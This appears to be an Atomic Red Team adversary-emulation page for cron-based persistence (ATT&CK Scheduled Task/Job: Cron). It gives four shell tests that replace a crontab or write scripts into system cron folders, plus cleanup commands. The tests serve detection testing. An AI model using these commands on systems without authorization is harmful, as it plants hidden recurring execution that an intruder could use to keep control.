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Scheduled Task/Job: Cron

Description from ATT&CK

Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The ** crontab_ file contains the schedule of cron entries to be run and the specified times for execution. Any _crontab** files are stored in operating system-specific file paths.

An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for Persistence.

Atomic Tests

Atomic Test #1 - Cron - Replace crontab with referenced file

This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.

Supported Platforms: freebsd,macos,linux

auto_generated_guid: 435057fb-74b1-410e-9403-d81baf194f75

Inputs:

Name Description Type Default Value
command Command to execute string /tmp/evil.sh
tmp_cron Temporary reference file to hold evil cron schedule path /tmp/persistevil

Attack Commands: Run with sh!

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crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}

Cleanup Commands:

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crontab /tmp/notevil

Atomic Test #2 - Cron - Add script to all cron subfolders

This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.

Supported Platforms: macos,linux

auto_generated_guid: b7d42afa-9086-4c8a-b7b0-8ea3faa6ebb0

Inputs:

Name Description Type Default Value
command Command to execute string echo 'Hello from Atomic Red Team' > /tmp/atomic.log
cron_script_name Name of file to store in cron folder string persistevil

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

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echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}

Cleanup Commands:

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rm /etc/cron.daily/#{cron_script_name}
rm /etc/cron.hourly/#{cron_script_name}
rm /etc/cron.monthly/#{cron_script_name}
rm /etc/cron.weekly/#{cron_script_name}

Atomic Test #3 - Cron - Add script to /etc/cron.d folder

This test adds a script to /etc/cron.d folder configured to execute on a schedule.

Supported Platforms: freebsd

auto_generated_guid: 078e69eb-d9fb-450e-b9d0-2e118217c846

Inputs:

Name Description Type Default Value
command Command to execute string echo '*/5 * * * * root echo "Hello from Atomic Red Team"' > /tmp/atomic.log
cron_script_name Name of file to store in cron folder string persistevil

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

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echo "#{command}" > /etc/cron.d/#{cron_script_name}

Cleanup Commands:

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rm /etc/cron.d/#{cron_script_name}

Atomic Test #4 - Cron - Add script to /var/spool/cron/crontabs/ folder

This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.

Supported Platforms: linux

auto_generated_guid: 2d943c18-e74a-44bf-936f-25ade6cccab4

Inputs:

Name Description Type Default Value
command Command to execute string echo 'Hello from Atomic Red Team' > /tmp/atomic.log
cron_script_name Name of file to store in /var/spool/cron/crontabs folder string persistevil

Attack Commands: Run with bash! Elevation Required (e.g. root or admin)

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echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}

Cleanup Commands:

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rm /var/spool/cron/crontabs/#{cron_script_name}

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